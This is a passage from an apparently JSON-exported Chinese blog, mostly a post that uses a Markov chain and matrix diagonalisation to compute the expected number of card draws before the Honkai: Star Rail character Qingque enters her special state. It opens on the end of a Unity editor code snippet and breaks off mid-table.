\u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEditorWindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetWindow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etype\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-editor-renderdoc-tool/"},{"title":"青雀进暗杠的抽牌数期望","time":"2024-03-23T14:25:35Z","content":"\u003ch1 id=\"青雀进暗杠的抽牌数期望\"\u003e青雀进暗杠的抽牌数期望\u003ca class=\"headerlink\" href=\"#青雀进暗杠的抽牌数期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e用 \u003ca href=\"https://en.wikipedia.org/wiki/Markov_chain\"\u003e马尔可夫链(Markov chain)\u003c/a\u003e 暴力计算。顺便复习一下线代。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"让我摸个鱼吧~\" src=\"../../../obsidian-vault/attachments/qingque.jpg\" /\u003e\u003c/p\u003e\n\u003ch2 id=\"起因\"\u003e起因\u003ca class=\"headerlink\" href=\"#起因\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e看到这两个视频以后,心血来潮算的。\u003c/p\u003e\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=1752122559\u0026bvid=BV1vx421k77C\u0026cid=1479621819\u0026p=1\u0026autoplay=0\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"responsive-video-container\"\u003e\n \u003ciframe src=\"https://player.bilibili.com/player.html?aid=996148265\u0026bvid=BV16s4y1B7jm\u0026cid=1129947597\u0026p=1\u0026autoplay=0\" scrolling=\"no\" border=\"0\" frameborder=\"no\" framespacing=\"0\" allowfullscreen=\"true\"\u003e \u003c/iframe\u003e\n\u003c/div\u003e\n\n\u003cp\u003e这下真看 V 看的了。\u003c/p\u003e\n\u003ch2 id=\"青雀的抽牌机制\"\u003e青雀的抽牌机制\u003ca class=\"headerlink\" href=\"#青雀的抽牌机制\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cem\u003e天赋\u003c/em\u003e 帝垣琼玉\u003c/p\u003e\n\u003cp\u003e我方目标回合开始时,青雀会从 3 种不同花色的琼玉牌中随机抽取 1 张,最多持有 4 张琼玉牌。青雀回合开始时,若持有的琼玉牌数为 4 且花色相同,青雀消耗所有琼玉牌进入【暗杠】状态。处于【暗杠】状态时无法再次施放战技,同时使自身攻击力提高,普攻【门前清】强化为【杠上开花!】,【暗杠】状态会在施放【杠上开花!】后结束。\u003c/p\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003cem\u003e战技\u003c/em\u003e 海底捞月\u003c/p\u003e\n\u003cp\u003e立即抽取 2 张琼玉牌,使自身造成的伤害提高,持续至本回合结束。该效果可以叠加 4 次。施放该战技后,本回合不会结束。\u003csup id=\"fnref:1\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:1\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e牌堆里有 3 种花色,最多同时持有 4 张牌,4 个花色相同则进暗杠。可以忽略牌的具体花色,把牌型抽象成 AABC、AABB、AAAB、AAAA 四种,AAAA 表示进入暗杠。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e青雀的摸牌是一个将琼玉牌从牌堆中取出并记录其内容,然后再将刚刚摸到的牌归还牌堆的过程,而非从牌堆中摸取琼玉牌并保留于手中的过程。根据青雀的摸牌规则(留多去少)我们又可以推导出:AAAA、AAAB、AABB、AABC 是一个层级系统,后者可以向前者晋升,前者却不可向后者跌落。\u003csup id=\"fnref:2\"\u003e\u003ca class=\"footnote-ref\" href=\"#fn:2\"\u003e2\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e假设青雀牌堆里,各花色的牌都有无穷多张。战技抽牌流程:先抽 2 张,再去掉手里 6 张中花色数量最少的 2 张。\u003c/p\u003e\n\u003ch2 id=\"马尔可夫链\"\u003e马尔可夫链\u003ca class=\"headerlink\" href=\"#马尔可夫链\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cpre class=\"mermaid\"\u003e\u003ccode\u003eflowchart LR\n AABC([AABC]) -- 6/9 --\u0026gt; AAAB\n AABC -- 2/9 --\u0026gt; AABB\n AABC -- 1/9 --\u0026gt; AAAA\n\n AABB([AABB]) -- 6/9 --\u0026gt; AAAB\n AABB --1/9 --\u0026gt; AABB\n AABB -- 2/9 --\u0026gt; AAAA\n\n AAAB([AAAB]) -- 4/9 --\u0026gt; AAAB\n AAAB -- 5/9 --\u0026gt; AAAA\n\n AAAA([AAAA]) -- 1 --\u0026gt; AAAA\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e为了避免图太乱,权为 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e 的边就不画了。可以列出下表\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e下次牌型\\当前牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABC (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABB (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{1}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAB (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{6}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{6}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{4}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAA (n+1)\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{1}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{5}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e转移矩阵\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nA = \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{2}{9} \u0026amp; \\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{6}{9} \u0026amp; \\dfrac{6}{9} \u0026amp; \\dfrac{4}{9} \u0026amp; 0\\\\\n\\dfrac{1}{9} \u0026amp; \\dfrac{2}{9} \u0026amp; \\dfrac{5}{9} \u0026amp; 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e记\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(a_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AABC 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(b_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AABB 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(c_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AAAB 的概率\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(d_n\\)\u003c/span\u003e 为第 \u003cspan class=\"arithmatex\"\u003e\\(n\\)\u003c/span\u003e 次抽牌后,牌型为 AAAA 的概率\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e可以得到公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = A^n \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003ch2 id=\"不同牌型的抽牌数期望\"\u003e不同牌型的抽牌数期望\u003ca class=\"headerlink\" href=\"#不同牌型的抽牌数期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e先要把 \u003cspan class=\"arithmatex\"\u003e\\(A\\)\u003c/span\u003e 对角化。由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | \\lambda E - A \\right | = \\begin{vmatrix}\n\\lambda \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n-\\dfrac{2}{9} \u0026amp; \\lambda-\\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n-\\dfrac{6}{9} \u0026amp; -\\dfrac{6}{9} \u0026amp; \\lambda-\\dfrac{4}{9} \u0026amp; 0\\\\\n-\\dfrac{1}{9} \u0026amp; -\\dfrac{2}{9} \u0026amp; -\\dfrac{5}{9} \u0026amp; \\lambda-1\n\\end{vmatrix} = 0\n\\]\u003c/div\u003e\n\u003cp\u003e得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\lambda \\left ( \\lambda-\\frac{1}{9} \\right ) \\left ( \\lambda-\\frac{4}{9} \\right ) \\left ( \\lambda-1 \\right )=0\n\\]\u003c/div\u003e\n\u003cp\u003e可求得特征值和对应的特征向量为\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_1=0\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_1=(2,-4,3,-1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_2=\\dfrac{1}{9}\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_2=(0,1,-2,1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_3=\\dfrac{4}{9}\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_3=(0,0,1,-1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\lambda_4=1\\)\u003c/span\u003e,\u003cspan class=\"arithmatex\"\u003e\\(v_4=(0,0,0,1)^T\\)\u003c/span\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e记\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP=\\begin{pmatrix}\nv_1 \u0026amp; v_2 \u0026amp; v_3 \u0026amp; v_4\n\\end{pmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e因为\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\left | P \\right | = \\begin{vmatrix}\n2 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n-4 \u0026amp; 1 \u0026amp; 0 \u0026amp; 0\\\\\n3 \u0026amp; -2 \u0026amp; 1 \u0026amp; 0\\\\\n-1 \u0026amp; 1 \u0026amp; -1 \u0026amp; 1\n\\end{vmatrix} = 2\n\\]\u003c/div\u003e\n\u003cp\u003e不为 \u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e,所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nA=P \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; \\dfrac{1}{9} \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; \\dfrac{4}{9} \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 1\n\\end{bmatrix} P^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e故\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = P \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; \\left ( \\dfrac{1}{9} \\right )^n \u0026amp; 0 \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; \\left ( \\dfrac{4}{9} \\right )^n \u0026amp; 0\\\\\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 1\n\\end{bmatrix} P^{-1} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 的 \u003ca href=\"../../../ecaa-acdj-cecf/\"\u003e伴随矩阵\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP^*=\\begin{bmatrix}\n1 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n4 \u0026amp; 2 \u0026amp; 0 \u0026amp; 0\\\\\n5 \u0026amp; 4 \u0026amp; 2 \u0026amp; 0\\\\\n2 \u0026amp; 2 \u0026amp; 2 \u0026amp; 2\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e 的逆矩阵\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nP^{-1}=\\dfrac{1}{\\left | P \\right |}P^*=\\begin{bmatrix}\n\\dfrac{1}{2} \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n2 \u0026amp; 1 \u0026amp; 0 \u0026amp; 0\\\\\n\\dfrac{5}{2} \u0026amp; 2 \u0026amp; 1 \u0026amp; 0\\\\\n1 \u0026amp; 1 \u0026amp; 1 \u0026amp; 1\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\begin{bmatrix}\na_n\\\\\nb_n\\\\\nc_n\\\\\nd_n\n\\end{bmatrix} = \\begin{bmatrix}\n0 \u0026amp; 0 \u0026amp; 0 \u0026amp; 0\\\\\n2\\left(\\dfrac{1}{9}\\right)^n \u0026amp; \\left(\\dfrac{1}{9}\\right)^n \u0026amp; 0 \u0026amp; 0\\\\\n-4\\left(\\dfrac{1}{9}\\right)^n+\\dfrac{5}{2}\\left(\\dfrac{4}{9}\\right)^n \u0026amp; -2\\left(\\dfrac{1}{9}\\right)^n+2\\left(\\dfrac{4}{9}\\right)^n \u0026amp; \\left(\\dfrac{4}{9}\\right)^n \u0026amp; 0\\\\\n2\\left(\\dfrac{1}{9}\\right)^n-\\dfrac{5}{2}\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; \\left(\\dfrac{1}{9}\\right)^n-2\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; -\\left(\\dfrac{4}{9}\\right)^n+1 \u0026amp; 1\n\\end{bmatrix} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003cp\u003e上式中 \u003cspan class=\"arithmatex\"\u003e\\(n \\ge 1\\)\u003c/span\u003e。抽牌数的 \u003ca href=\"../../../eccb-afei-ceba/\"\u003e数学期望\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + \\sum_{n=2}^{\\infty} n(d_n-d_{n-1})\n\\]\u003c/div\u003e\n\u003cp\u003e式中 \u003cspan class=\"arithmatex\"\u003e\\(d_0\\)\u003c/span\u003e 是参数,不可以用 \u003cspan class=\"arithmatex\"\u003e\\(d_n\\)\u003c/span\u003e 的通项计算,只能拿出来单独处理。展开后即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + \\sum_{n=2}^{\\infty} n\\left( \\dfrac{5}{9}\\left(\\dfrac{5}{2}a_0+2b_0+c_0\\right)\\left(\\dfrac{4}{9}\\right)^{n-1} - \\dfrac{8}{9}\\left(2a_0+b_0\\right)\\left(\\dfrac{1}{9}\\right)^{n-1} \\right)\n\\]\u003c/div\u003e\n\u003cp\u003e令\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(k_1=\\dfrac{5}{9}\\left(\\dfrac{5}{2}a_0+2b_0+c_0\\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(k_2=-\\dfrac{8}{9}\\left(2a_0+b_0\\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(S(q)=\\displaystyle\\sum\\limits_{n=2}^{\\infty} \\left( k_1n(4q)^{n-1} + k_2nq^{n-1} \\right)\\)\u003c/span\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e则\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX=(d_1-d_0) + S(\\dfrac{1}{9})\n\\]\u003c/div\u003e\n\u003cp\u003e由\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nS(q) = \\left(\\sum_{n=2}^{\\infty} \\left( \\dfrac{1}{4}k_1(4q)^n + k_2q^n \\right) \\right)'\n\\]\u003c/div\u003e\n\u003cp\u003e得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nS(q)=\\frac{8k_1q(1-2q)}{(1-4q)^2} + \\frac{k_2q(2-q)}{(1-q)^2}\n\\]\u003c/div\u003e\n\u003cp\u003e进而解出\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX = \\begin{bmatrix}\n\\dfrac{11}{4} \u0026amp; \\dfrac{99}{40} \u0026amp; \\dfrac{9}{5} \u0026amp; 0\n\\end{bmatrix} \\begin{bmatrix}\na_0\\\\\nb_0\\\\\nc_0\\\\\nd_0\n\\end{bmatrix}\n\\]\u003c/div\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003e抽牌数期望\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABC\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{11}{4}=2.75\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAABB\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{99}{40}=2.475\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAB\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{9}{5}=1.8\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003eAAAA\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"抽牌数综合期望\"\u003e抽牌数综合期望\u003ca class=\"headerlink\" href=\"#抽牌数综合期望\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e起始牌型的概率分布\u003c/p\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e起始牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(P\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^2 \\cdot 3 \\cdot 2}{3^4}=\\dfrac{4}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^2 \\cdot C_3^2}{3^4}=\\dfrac{2}{9}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{C_4^3 \\cdot 3 \\cdot 2}{3^4}=\\dfrac{8}{27}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\dfrac{3}{3^4}=\\dfrac{1}{27}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003e取\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n(a_0, b_0, c_0, d_0)^T=(\\dfrac{4}{9}, \\dfrac{2}{9}, \\dfrac{8}{27}, \\dfrac{1}{27})^T\n\\]\u003c/div\u003e\n\u003cp\u003e算得\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\nEX = \\dfrac{89}{36} \\approx 2.3056\n\\]\u003c/div\u003e\n\u003ch2 id=\"牌型分布\"\u003e牌型分布\u003ca class=\"headerlink\" href=\"#牌型分布\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003ctable\u003e\n\u003cthead\u003e\n\u003ctr\u003e\n\u003cth style=\"text-align: center;\"\u003e抽牌次数\\牌型\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABC\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAABB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAB\u003c/th\u003e\n\u003cth style=\"text-align: center;\"\u003eAAAA\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e0\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 44.44\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(22.22\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(29.63\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(3.70\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e1\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(12.35\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 57.61\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(30.04\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e2\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(1.37\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(33.84\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 64.79\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e3\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.15\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(15.95\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 83.89\\%}\\)\u003c/span\u003e\u003c/td\u003e\n\u003c/tr\u003e\n\u003ctr\u003e\n\u003ctd style=\"text-align: center;\"\u003e4\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.00\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(0.02\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\(7.19\\%\\)\u003c/span\u003e\u003c/td\u003e\n\u003ctd style=\"text-align: center;\"\u003e\u003cspan class=\"arithmatex\"\u003e\\({\\color{Red} 